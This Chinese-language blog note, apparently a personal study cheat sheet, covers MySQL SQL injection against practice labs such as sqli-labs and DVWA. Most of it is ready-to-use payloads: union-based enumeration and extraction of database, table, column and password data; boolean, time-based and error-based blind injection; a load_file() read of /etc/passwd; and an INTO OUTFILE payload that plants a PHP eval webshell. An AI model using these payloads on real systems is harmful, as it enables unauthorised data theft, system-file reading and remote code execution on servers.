sql 注入

文章收集

基本show命令

show tables或show tables from database_name; // 显示当前数据库中所有表的名称

show databases; // 显示mysql中所有数据库的名称
show columns from table_name from database_name; 或MySQL show columns from database_name.table_name; // 显示表中列名称
show grants for user_name@localhost; // 显示一个用户的权限,显示结果类似于grant 命令
show index from table_name; // 显示表的索引
show status; // 显示一些系统特定资源的信息,例如,正在运行的线程数量
show variables; // 显示系统变量的名称和值
show processlist; // 显示系统中正在运行的所有进程,也就是当前正在执行的查询。大多数用户可以查看
他们自己的进程,但是如果他们拥有process权限,就可以查看所有人的进程,包括密码。
MySQL show table status; // 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的***更新时间
show privileges; // 显示服务器所支持的不同权限
show create database database_name; // 显示create database 语句是否能够创建指定的数据库
show create table table_name; // 显示create database 语句是否能够创建指定的数据库
show engies; // 显示安装以后可用的存储引擎和默认引擎。
show innodb status; // 显示innoDB存储引擎的状态
show logs; // 显示BDB存储引擎的日志
MySQL show warnings; // 显示***一个执行的语句所产生的错误、警告和通知
show errors; // 只显示***一个执行语句所产生的错误
select count(distinct table_schema) from information_schema.tables;

select group_concat(distinct table_schema) from information_schema.tables;
select group_concat(table_name) from information_schema.tables where table_schema='sqli';
select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='users';

基本流程

# 判断列表长度
1 order by 3

# 确定回显的列 1 union select 1,2,3
# 收集基本信息 1 union select 1,concat_ws('~',database(), user(), version(), @@basedir), 3
# 找不同的数据库表个数 1 union select 1,count(distinct table_schema), 3 from information_schema.tables
# 列出不同的数据库表 1 union select 1,group_concat(distinct table_schema), 3 from information_schema.tables
# 通过数据库名,查询表名 1 union select 1,group_concat(table_name), 3 from information_schema.tables where table_schema='sqli'
# 通过数据库名和表名,查询列名 1 union select 1,group_concat(column_name), 3 from information_schema.columns where table_schema='sqli' and table_name='info'
# 通过查到的表名和列名,查询数据 1 union select 1,group_concat(flAg_T5ZNdrm), 3 from sqli.info

重要信息收集

数据库信息

select * from information_schema.schema;

表信息

select table_name from information_schema.tables where table_schema = 'dvwa';

字段信息

select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users';

load_file()

?id=-1 ' union select 1,load_file('/etc/passwd')

流程

寻找注入点

测试风暴

单引号 双引号 带括号 时间逻辑

'提交大法

判断是否可能为注入点的方法:
1' 报错,而1''没有报错。
判断的依据是看后台有没有过滤这些,把这些当成一个整体来输入。

or and 大法

加减大法

判断是数字型还是字符型

数据库权限判断

select ord(mid(user(),1,1)) = 114;  // root权限
select count(*) from mysql.user;  // 读写权限

判断字段的个数

  1. 使用 order by 1 +--+ 往上加。直到出错。可以快速判断出总共有多少个字段。
  2. 使用union select 1,2,3,4 判断哪几个字段是用户可以回显的。
    • 注意一开始可以使用null来判断多少个回显,因为有可能不让用数字型

UNION SELECT获取关键数据

  • 'union select user(),database() +--+
  • 'union select session_user(),current_user(),version() +--+
  • 'union select load_file('/etc/passwd'),2,3,4,5,6,7,version() limit 1
?id=1' union select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'dvwa'

破解字段

字典爆破流

and exists(select * from ?) //?为猜测的表名

截取二分流

and (length((select schema_name from information_schema.schemata limit 1))>?)       //判断数据库名的长度, 特别注意length(()),是两个括号
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?')      //利用二分法判断第一个字符

判断下一个字段:

id=1' and length((select table_name from information_schema.tables where TABLE_SCHEMA = 'dvwa' and TABLE_NAME != 'guestbook' limit 1))>5

查数据库版本

select ord(mid(version(),1,1)) > 51;

ASCII 51 -> 3;
大于3的版本, 4或者5 才可以使用union
而有的可能使用的并不是mysql,而是10.1.35-MariaDB,所以此时的版本开头为10

查询数据库名

select 1,database(),3 ;

查询表名

select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa';

group_concat可以把多行串起来一起显示了

查字段(列)

select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'dvwa';

查数据

select group_concat(user_id,'-', first_name,'-', last_name, '-',password) from users;

或者

select user, password from users;

注入技巧

注释

不同的数据库注释的方法都不一样

  • #
  • --[空格]或者是--+

双注入

双注入详解

双注入通过报错的方式得到第一次select的信息。

原理是当count()后面跟上group by 则会以报错的方式显示第一次查询的信息。

union select count(*),3, concat((select(version())), floor(rand()*2)) as a from users group by a

注意一点: 需要把 concat()放到最后一个select才行。

还有一种派生表,模式是 select 1 from (table name)

SELECT * FROM users WHERE id='1' union select 1,2,3 from ( select count(*), 2, concat((select version()), floor(rand()*2)) as a from users group by a)x -- ' LIMIT 0,1

outfile()

高版本的Mysql会有个secure_file_priv的选项不让导入导出文件

下面给一个例子

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["giantbranch"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23

盲注

重点是通过Boolean判断长度和名称。

单引号盲注

GET 单引号盲注脚本

时间逻辑盲注

当成功和失败的输出是一样的时候,使用时间逻辑方法

重点在于当查询成功的时候,延迟5秒 。

select * from users where id = 1 and if(ord(substr((select database()), 1,1))>97, sleep(5), 0);

基于错误的注入

  • 这里是基于错误注入的总结

concat, rand, floor 导致的重复主键错误

基本型:

select * from users where id=1 and (select 1 from (select concat(user(), floor(rand(0)*2))x, count(*) from information_schema.tables group by x)a);

由于rand的浮动,导致每次where的查询不一致造成。

extractvalue(), updatexml() 导致Xpath路径错误

extractvalue(str, xpath)基本型:

select * from users where id=1 and (extractvalue(1,user()));

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

注意的是mysql版本应该大于5.1.5
updatexml(str, xpath, str)基本型:

select * from users where id=1 and (updatexml(1,user(),1));

select * from users where id=1 and (updatexml(1, concat(user()),1));

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com